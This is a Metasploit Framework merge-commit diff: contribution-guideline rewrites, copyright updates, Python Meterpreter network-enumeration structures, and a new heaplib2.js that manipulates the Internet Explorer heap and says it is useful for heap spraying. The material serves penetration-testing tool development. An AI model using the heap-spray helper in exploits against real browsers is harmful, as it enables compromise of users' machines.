Merge branch 'upstream/master' into ext_server_kiwi

bug/bundler_fix
OJ 2014-03-18 08:08:45 +10:00
commit dfb4b22015
No known key found for this signature in database
GPG Key ID: 49EEE7511FAA5749
395 changed files with 22240 additions and 9669 deletions

View File

@ -1,44 +1,68 @@
# Contributing to Metasploit
## Reporting Bugs
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! What you see here in CONTRIBUTING.md is a
bullet-point list of the do's and don'ts of how to make sure *your*
valuable contributions actually make it into Metasploit's master branch.
If you would like to report a bug, please take a look at [our Redmine
issue
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
If you care not to follow these rules, your contribution **will** be
closed (*Road House* style). Sorry!
If your bug is new and you'd like to report it you will need to
[register
first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds.
Incidentally, this is a **short** list. The
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
When you file a bug report, please include your **steps to reproduce**,
full copy-pastes of Ruby stack traces, and any relevant details about
your environment. Without repro steps, your bug will likely be closed.
With repro steps, your bugs will likely be fixed.
## Code Contributions
## Contributing Metasploit Modules
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
If you have an exploit that you'd like to contribute to the Metasploit
Framework, please familiarize yourself with the
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
document in the
Metasploit-Framework repository. There are many mysteries revealed in
HACKING concerning code style and content.
### Pull Requests
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
should corellate with modules at a 1:1 ratio
-- there is rarely a good reason to have two, three, or ten modules on
one pull request, as this dramatically increases the review time
required to land (commit) any of those modules.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
Pull requests tend to be very collaborative for Metasploit -- do not be
surprised if your pull request to rapid7/metasploit-framework triggers a
pull request back to your own fork. In this way, we can isolate working
changes before landing your PR to the Metasploit master branch.
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
To save yourself the embarrassment of committing common errors, you will
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
from the top-level directory of your metasploit-framework clone. This
will prevent you from committing modules that raise WARNINGS or ERRORS.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
* **Do** create a Redmine account and report your bug there.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!

View File

@ -1,4 +1,4 @@
Copyright (C) 2006-2013, Rapid7 Inc.
Copyright (C) 2006-2013, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

152
HACKING
View File

@ -1,146 +1,38 @@
# $Id$
HACKING
=======
This file contains some brief instructions on contributing to the
Metasploit Framework.
(Last updated: 2014-03-04)
Code Style
==========
This document almost entirely deprecated by:
In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines:
CONTRIBUTING.md
- Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block
- Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.)
- Method names should always be lower_case and words separated by "_"
- Variable names should be lower case with words separated by "_"
- Don't depend on any external gems or libraries without talking to
todb to resolve packaging and licensing issues
You can use the the "./tools/msftidy.rb" script to do some rudimentary
checking for various violations.
Code No-Nos
===========
1. Don't print to standard output. Doing so means that users of
interfaces other than msfconsole, such as msfrpc and msfgui, won't see
your output. You can use print_line to accomplish the same thing as
puts.
2. Don't read from standard input, doing so will make your code
lock up the entire module when called from other interfaces. If you
need user input, you can either register an option or expose an
interactive session type specific for the type of exploit.
3. Always use Rex sockets, not ruby sockets. This includes
third-party libraries such as Net::Http. There are several very good
reasons for this rule. First, the framework doesn't get notified on
the creation of ruby sockets and won't know how to clean them up in
case your module raises an exception without cleaning up after itself.
Secondly, non-Rex sockets do not know about routes and therefore can't
be used through a meterpreter tunnel. Lastly, regular sockets miss
out on msf's proxy and SSL features. Msf includes many protocols
already implemented with Rex and if the protocol you need is missing,
porting another library to use them is straight-forward. See our
Net::SSH modifications in lib/net/ssh/ for an example.
4. When opening an IO stream, always force binary with "b" mode (or
using IO#binmode). This not only helps keep Windows and non-Windows
runtime environments consistent with each other, but also guarantees
that files will be treated as ASCII-8BIT instead of UTF-8.
5. Don't use String#[] for a single character. This returns a Fixnum in
ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
str[idx,1]
which always returns a String. If you need the ASCII byte, unpack it like
so:
tr[idx,1].unpack("C")[0]
6. Whenever possible, avoid using '+' or '+=' to concatenate strings.
The '<<' operator is significantly faster. The difference will become
even more apparent when doing string manipulation in a loop. The
following table approximates the underlying implementation:
Ruby Pseudo-C
----------- ----------------
a = b + c a = malloc(b.len+c.len+1);
strcpy(a, b);
memcpy(a+b.len, c, c.len);
a[b.len + c.len] = '\0';
a = b a = b;
a << c a = realloc(a, a.len+c.len+1);
memcpy(a+a.len, c, c.len);
a[a.len + c.len] = '\0';
Note that the original value of 'b' is lost in the second case. Care
must be taken to duplicate strings that you do not want to modify.
7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
for an overview of common and not-so-common Ruby version related gotchas.
8. Never, ever use $global variables. This applies to modules, mixins,
and libraries. If you need a "global" within a specific class, you can
use @@class_variables, but most modules should use @instance variables
to store information between methods.
9. Don't craft your XML document raw or by using Nokogiri, the current
preferred way is REXML.
Creating New Modules
====================
When creating a new module, the simplest way to start is to copy
another module that uses the same protocol and modify it to your
needs. If you're creating an exploit module, generally you'll want
to edit the exploit() method. Auxiliary Scanner modules use one of
run_host(), run_range(), or run_batch() instead of exploit().
Non-scanner aux modules use run().
Submitting Your Code
====================
To get started with a Metasploit Framework source clone, simply:
- Fork rapid7/metasploit-framework to your GitHub account
- git clone git://github.com/YourName/metasploit-framework.git
- gem install bundler
- bundle install
More detailed documentation regarding the process for submitting new
modules via GitHub is documented here:
in the same directory as this file, and to a lesser extent:
The Metasploit Development Environment
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
This describes the process of forking, editing, and generating a
pull request, and is the preferred method for bringing new modules
and framework enhancements to the attention of the core Metasploit
development team. Note that this process requires a GitHub account.
Common Coding Mistakes
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
For Git commits, please adhere to 50/72 formatting: your commits should
start with a line 50 characters or less, followed by a blank line,
followed by one or more lines of explanatory text wrapped at at 72
characters Pull requests with commits not formatted this way will
be rejected without review.
The Ruby Style Guide
https://github.com/bbatsov/ruby-style-guide
For modules, note that Author field is not automatic, and should be
filled in in the format of 'Your Name <user[at]domain.tld>' so future
developers can contact you with any questions.
Ruby 1.9: What to Expect
http://slideshow.rubyforge.org/ruby19.html
You can use the the "./tools/msftidy.rb" script against your new and
changed modules to do some rudimentary checking for various style and
syntax violations.
Licensing for Your New Content
==============================
Licensing
=========
By submitting code contributions to the Metasploit Project it is
assumed that you are offering your code under the Metasploit License
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
are also fine. We specifically cannot include GPL code. LGPL code
is accepted on a case by case basis for libraries only and is never
is accepted on a case by case basis for libraries only and is never
accepted for modules.
When possible, such as aux and exploit modules, be sure to include
your license designation in the file in the appropriate place.

View File

@ -2,13 +2,13 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2013, Rapid7 Inc.
Copyright: 2006-2013, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
# at the end of this file.
#
# The copyright on this package is held by Rapid7 LLC.
# The copyright on this package is held by Rapid7, Inc.
#
# This license does not apply to third-party components detailed below.
#
@ -84,7 +84,7 @@ Copyright: 2005-2009, Joel VanderWerf
License: Ruby
Files: lib/fastlib.rb
Copyright: 2011, Rapid7 Inc.
Copyright: 2011, Rapid7, Inc.
License: Ruby
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
@ -310,7 +310,7 @@ License: BSD-3-clause
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
.
* Neither the name of Rapid7 LLC nor the names of its contributors
* Neither the name of Rapid7, Inc nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
.

View File

@ -1,6 +1,6 @@
#!/usr/bin/env ruby
# Copyright (C) 2008 Metasploit LLC
# Copyright (C) 2008 Rapid7, Inc.
#
# This script extracts the forms from the main page of each

View File

@ -1,6 +1,6 @@
#!/usr/bin/env ruby
# Copyright (C) 2008 Metasploit LLC
# Copyright (C) 2008 Rapid7, Inc.
#
# This script extracts the forms from the main page of each

192
data/js/memory/heaplib2.js Normal file
View File

@ -0,0 +1,192 @@
//heapLib2 namespace
function heapLib2() { }
//These are attributes that will not actually create a bstr
//and directly use the back-end allocator, completely bypassing the cache
var global_attrs = ["title", "lang", "class"];
heapLib2.ie = function(element, maxAlloc)
{
//128mb
this.maxAlloc = 0x8000000;
//make sure that an HTML DOM element is passed
if(!element.nodeType || element.nodeType != 1)
throw "alloc.argument: element not valid";
this.element = element;
if(maxAlloc)
this.maxAlloc = maxAlloc;
//empty the cache
this.Oleaut32EmptyCache();
this.Oleaut32FillCache();
this.Oleaut32EmptyCache();
}
heapLib2.ie.prototype.newelement = function(element)
{
//make sure that an HTML DOM element is passed
if(!element.nodeType || element.nodeType != 1)
throw "alloc.argument: element not valid";
this.element = element;
}
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
{
if(typeof(cache_ok)==='undefined')
cache_ok = false;
else
cache_ok = true;
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(this.element.getAttribute(attr_name))
throw "alloc.argument: element already contains attr_name: " + attr_name;
//ensure the size is a number
if(typeof size != "number")
throw "alloc.argument: size is not a number: " + size;
//make sure the size isn't one of the special values
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
throw "alloc.argument: size cannot be flushed from cache: " + size;
if(size > this.maxAlloc)
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
//the size must be at a 16-byte boundary this can be commented out but
//the allocations will be rounded to the nearest 16-byte boundary
if(size % 16 != 0)
throw "alloc.argument: size be a multiple of 16: " + size;
//20-bytes will be added to the size
//<4-byte size><data><2-byte null>
size = ((size / 2) - 6);
//May have to change this due to allocation side effects
var data = new Array(size).join(cache_ok ? "C" : "$");
var attr = document.createAttribute(attr_name);
this.element.setAttributeNode(attr);
this.element.setAttribute(attr_name, data);
}
//These items will allocate/free memory and should really
//only be used once per element. You can use a new element
//by calling the 'newelement' method above
heapLib2.ie.prototype.alloc_nobstr = function(val)
{
//make sure the aval is a string
if(typeof val != "string")
throw "alloc.argument: val is not a string";
var size = (val.length * 2) + 6;
if(size > this.maxAlloc)
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
var i = 0;
var set_gattr = 0;
for(i = 0; i < global_attrs.length; i++)
{
curr_gattr = global_attrs[i];
if(!this.element.getAttribute(curr_gattr))
{
this.element.setAttribute(curr_gattr, "");
this.element.setAttribute(curr_gattr, val);
set_gattr = 1;
break;
}
}
if(set_gattr == 0)
throw "alloc_nobstr: all global attributes are assigned, try a new element";
}
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
{
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(this.element.getAttribute(attr_name))
throw "alloc.argument: element already contains attr_name: " + attr_name;
//ensure the size is a number
if(typeof str != "string")
throw "alloc.argument: str is not a string: " + typeof str;
var size = (str.length * 2) + 6;
//make sure the size isn't one of the special values
if(size <= 0x8000)
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
if(size > this.maxAlloc)
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
var attr = document.createAttribute(attr_name);
this.element.setAttributeNode(attr);
this.element.setAttribute(attr_name, str);
}
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
{
if(typeof(skip_flush)==='undefined')
skip_flush = false;
else
skip_flush = true;
//make sure that an HTML DOM element is passed
if(!this.element.nodeType || this.element.nodeType != 1)
throw "alloc.argument: element not valid";
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(!this.element.getAttribute(attr_name))
throw "alloc.argument: element does not contain attribute: " + attr_name;
//make sure the cache is full so the chunk returns the general purpose heap
if(!skip_flush)
this.Oleaut32FillCache();
this.element.setAttribute(attr_name, null);
if(!skip_flush)
this.Oleaut32EmptyCache()
}
heapLib2.ie.prototype.Oleaut32FillCache = function()
{
for(var i = 0; i < 6; i++)
{
this.free("cache0x20"+i, true);
this.free("cache0x40"+i, true);
this.free("cache0x100"+i, true);
this.free("cache0x8000"+i, true);
}
}
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
{
for(var i = 0; i < 6; i++)
{
this.alloc("cache0x20"+i, 0x20, true);
this.alloc("cache0x40"+i, 0x40, true);
this.alloc("cache0x100"+i, 0x100, true);
this.alloc("cache0x8000"+i, 0x8000, true);
}
}

View File

@ -1,10 +1,18 @@
function postInfo(path, data) {
function postInfo(path, data, cb) {
var xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open('POST', path, false);
xmlHttp.open('POST', path, !!cb);
if (cb) {
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
};
}
xmlHttp.send(data);
}
return xmlHttp;
}

View File

@ -1,4 +1,3 @@
import ctypes
import fnmatch
import getpass
import os
@ -9,8 +8,15 @@ import socket
import struct
import subprocess
import sys
import time
has_windll = hasattr(ctypes, 'windll')
try:
import ctypes
has_ctypes = True
has_windll = hasattr(ctypes, 'windll')
except ImportError:
has_ctypes = False
has_windll = False
try:
import pty
@ -24,6 +30,12 @@ try:
except ImportError:
has_pwd = False
try:
import SystemConfiguration as osxsc
has_osxsc = True
except ImportError:
has_osxsc = False
try:
import termios
has_termios = True
@ -36,52 +48,197 @@ try:
except ImportError:
has_winreg = False
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_uint32),
("cntUsage", ctypes.c_uint32),
("th32ProcessID", ctypes.c_uint32),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", ctypes.c_uint32),
("cntThreads", ctypes.c_uint32),
("th32ParentProcessID", ctypes.c_uint32),
("thPriClassBase", ctypes.c_int32),
("dwFlags", ctypes.c_uint32),
("szExeFile", (ctypes.c_char * 260))]
if has_ctypes:
#
# Windows Structures
#
class SOCKADDR(ctypes.Structure):
_fields_ = [("sa_family", ctypes.c_ushort),
("sa_data", (ctypes.c_uint8 * 14))]
class SYSTEM_INFO(ctypes.Structure):
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
("wReserved", ctypes.c_uint16),
("dwPageSize", ctypes.c_uint32),
("lpMinimumApplicationAddress", ctypes.c_void_p),
("lpMaximumApplicationAddress", ctypes.c_void_p),
("dwActiveProcessorMask", ctypes.c_uint32),
("dwNumberOfProcessors", ctypes.c_uint32),
("dwProcessorType", ctypes.c_uint32),
("dwAllocationGranularity", ctypes.c_uint32),
("wProcessorLevel", ctypes.c_uint16),
("wProcessorRevision", ctypes.c_uint16),]
class SOCKET_ADDRESS(ctypes.Structure):
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
("iSockaddrLength", ctypes.c_int)]
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Sid", ctypes.c_void_p),
("Attributes", ctypes.c_uint32),]
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
_fields_ = [
("s", type(
'_s_IP_ADAPTER_UNICAST_ADDRESS',
(ctypes.Structure,),
dict(_fields_ = [
("Length", ctypes.c_ulong),
("Flags", ctypes.c_uint32)
])
)),
("Next", ctypes.c_void_p),
("Address", SOCKET_ADDRESS),
("PrefixOrigin", ctypes.c_uint32),
("SuffixOrigin", ctypes.c_uint32),
("DadState", ctypes.c_uint32),
("ValidLifetime", ctypes.c_ulong),
("PreferredLifetime", ctypes.c_ulong),
("LeaseLifetime", ctypes.c_ulong),
("OnLinkPrefixLength", ctypes.c_uint8)]
##
# STDAPI
##
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
_fields_ = [
("u", type(
'_u_IP_ADAPTER_ADDRESSES',
(ctypes.Union,),
dict(_fields_ = [
("Alignment", ctypes.c_ulonglong),
("s", type(
'_s_IP_ADAPTER_ADDRESSES',
(ctypes.Structure,),
dict(_fields_ = [
("Length", ctypes.c_ulong),
("IfIndex", ctypes.c_uint32)
])
))
])
)),
("Next", ctypes.c_void_p),
("AdapterName", ctypes.c_char_p),
("FirstUnicastAddress", ctypes.c_void_p),
("FirstAnycastAddress", ctypes.c_void_p),
("FirstMulticastAddress", ctypes.c_void_p),
("FirstDnsServerAddress", ctypes.c_void_p),
("DnsSuffix", ctypes.c_wchar_p),
("Description", ctypes.c_wchar_p),
("FriendlyName", ctypes.c_wchar_p),
("PhysicalAddress", (ctypes.c_uint8 * 8)),
("PhysicalAddressLength", ctypes.c_uint32),
("Flags", ctypes.c_uint32),
("Mtu", ctypes.c_uint32),
("IfType", ctypes.c_uint32),
("OperStatus", ctypes.c_uint32),
("Ipv6IfIndex", ctypes.c_uint32),
("ZoneIndices", (ctypes.c_uint32 * 16)),
("FirstPrefix", ctypes.c_void_p),
("TransmitLinkSpeed", ctypes.c_uint64),
("ReceiveLinkSpeed", ctypes.c_uint64),
("FirstWinsServerAddress", ctypes.c_void_p),
("FirstGatewayAddress", ctypes.c_void_p),
("Ipv4Metric", ctypes.c_ulong),
("Ipv6Metric", ctypes.c_ulong),
("Luid", ctypes.c_uint64),
("Dhcpv4Server", SOCKET_ADDRESS),
("CompartmentId", ctypes.c_uint32),
("NetworkGuid", (ctypes.c_uint8 * 16)),
("ConnectionType", ctypes.c_uint32),
("TunnelType", ctypes.c_uint32),
("Dhcpv6Server", SOCKET_ADDRESS),
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
("Dhcpv6Iaid", ctypes.c_ulong),
("FirstDnsSuffix", ctypes.c_void_p)]
class MIB_IFROW(ctypes.Structure):
_fields_ = [("wszName", (ctypes.c_wchar * 256)),
("dwIndex", ctypes.c_uint32),
("dwType", ctypes.c_uint32),
("dwMtu", ctypes.c_uint32),
("dwSpeed", ctypes.c_uint32),
("dwPhysAddrLen", ctypes.c_uint32),
("bPhysAddr", (ctypes.c_uint8 * 8)),
("dwAdminStatus", ctypes.c_uint32),
("dwOperStaus", ctypes.c_uint32),
("dwLastChange", ctypes.c_uint32),
("dwInOctets", ctypes.c_uint32),
("dwInUcastPkts", ctypes.c_uint32),
("dwInNUcastPkts", ctypes.c_uint32),
("dwInDiscards", ctypes.c_uint32),
("dwInErrors", ctypes.c_uint32),
("dwInUnknownProtos", ctypes.c_uint32),
("dwOutOctets", ctypes.c_uint32),
("dwOutUcastPkts", ctypes.c_uint32),
("dwOutNUcastPkts", ctypes.c_uint32),
("dwOutDiscards", ctypes.c_uint32),
("dwOutErrors", ctypes.c_uint32),
("dwOutQLen", ctypes.c_uint32),
("dwDescrLen", ctypes.c_uint32),
("bDescr", (ctypes.c_char * 256))]
class MIB_IPADDRROW(ctypes.Structure):
_fields_ = [("dwAddr", ctypes.c_uint32),
("dwIndex", ctypes.c_uint32),
("dwMask", ctypes.c_uint32),
("dwBCastAddr", ctypes.c_uint32),
("dwReasmSize", ctypes.c_uint32),
("unused1", ctypes.c_uint16),
("wType", ctypes.c_uint16)]
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_uint32),
("cntUsage", ctypes.c_uint32),
("th32ProcessID", ctypes.c_uint32),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", ctypes.c_uint32),
("cntThreads", ctypes.c_uint32),
("th32ParentProcessID", ctypes.c_uint32),
("thPriClassBase", ctypes.c_int32),
("dwFlags", ctypes.c_uint32),
("szExeFile", (ctypes.c_char * 260))]
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Sid", ctypes.c_void_p),
("Attributes", ctypes.c_uint32)]
class SYSTEM_INFO(ctypes.Structure):
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
("wReserved", ctypes.c_uint16),
("dwPageSize", ctypes.c_uint32),
("lpMinimumApplicationAddress", ctypes.c_void_p),
("lpMaximumApplicationAddress", ctypes.c_void_p),
("dwActiveProcessorMask", ctypes.c_uint32),
("dwNumberOfProcessors", ctypes.c_uint32),
("dwProcessorType", ctypes.c_uint32),
("dwAllocationGranularity", ctypes.c_uint32),
("wProcessorLevel", ctypes.c_uint16),
("wProcessorRevision", ctypes.c_uint16)]
#
# Linux Structures
#
class IFADDRMSG(ctypes.Structure):
_fields_ = [("family", ctypes.c_uint8),
("prefixlen", ctypes.c_uint8),
("flags", ctypes.c_uint8),
("scope", ctypes.c_uint8),
("index", ctypes.c_int32)]
class IFINFOMSG(ctypes.Structure):
_fields_ = [("family", ctypes.c_uint8),
("pad", ctypes.c_int8),
("type", ctypes.c_uint16),
("index", ctypes.c_int32),
("flags", ctypes.c_uint32),
("chagen", ctypes.c_uint32)]
class NLMSGHDR(ctypes.Structure):
_fields_ = [("len", ctypes.c_uint32),
("type", ctypes.c_uint16),
("flags", ctypes.c_uint16),
("seq", ctypes.c_uint32),
("pid", ctypes.c_uint32)]
class RTATTR(ctypes.Structure):
_fields_ = [("len", ctypes.c_uint16),
("type", ctypes.c_uint16)]
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV Specific Types
@ -135,16 +292,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
##
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
@ -290,9 +452,39 @@ ERROR_FAILURE = 1
# errors.
ERROR_CONNECTION_ERROR = 10000
# Windows Constants
GAA_FLAG_SKIP_ANYCAST = 0x0002
GAA_FLAG_SKIP_MULTICAST = 0x0004
GAA_FLAG_INCLUDE_PREFIX = 0x0010
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
WIN_AF_INET = 2
WIN_AF_INET6 = 23
# Linux Constants
RTM_GETLINK = 18
RTM_GETADDR = 22
RTM_GETROUTE = 26
IFLA_ADDRESS = 1
IFLA_BROADCAST = 2
IFLA_IFNAME = 3
IFLA_MTU = 4
IFA_ADDRESS = 1
IFA_LABEL = 3
def calculate_32bit_netmask(bits):
if bits == 32:
return 0xffffffff
return ((0xffffffff << (32-(bits%32))) & 0xffffffff)
def cstruct_unpack(structure, raw_data):
if not isinstance(structure, ctypes.Structure):
structure = structure()
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
return structure
def get_stat_buffer(path):
si = os.stat(path)
rdev = 0
@ -310,20 +502,30 @@ def get_stat_buffer(path):
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
def netlink_request(req_type):
# See RFC 3549
NLM_F_REQUEST = 0x0001
NLM_F_ROOT = 0x0100
NLMSG_ERROR = 0x0002
NLMSG_DONE = 0x0003
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
sock.bind((os.getpid(), 0))
seq = int(time.time())
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
sfd = os.fdopen(sock.fileno(), 'w+b')
sfd.write(nlmsg)
responses = []
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
while response.type != NLMSG_DONE:
if response.type == NLMSG_ERROR:
break
response_data = sfd.read(response.len - 16)
responses.append(response_data)
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
sfd.close()
sock.close()
return responses
def resolve_host(hostname, family):
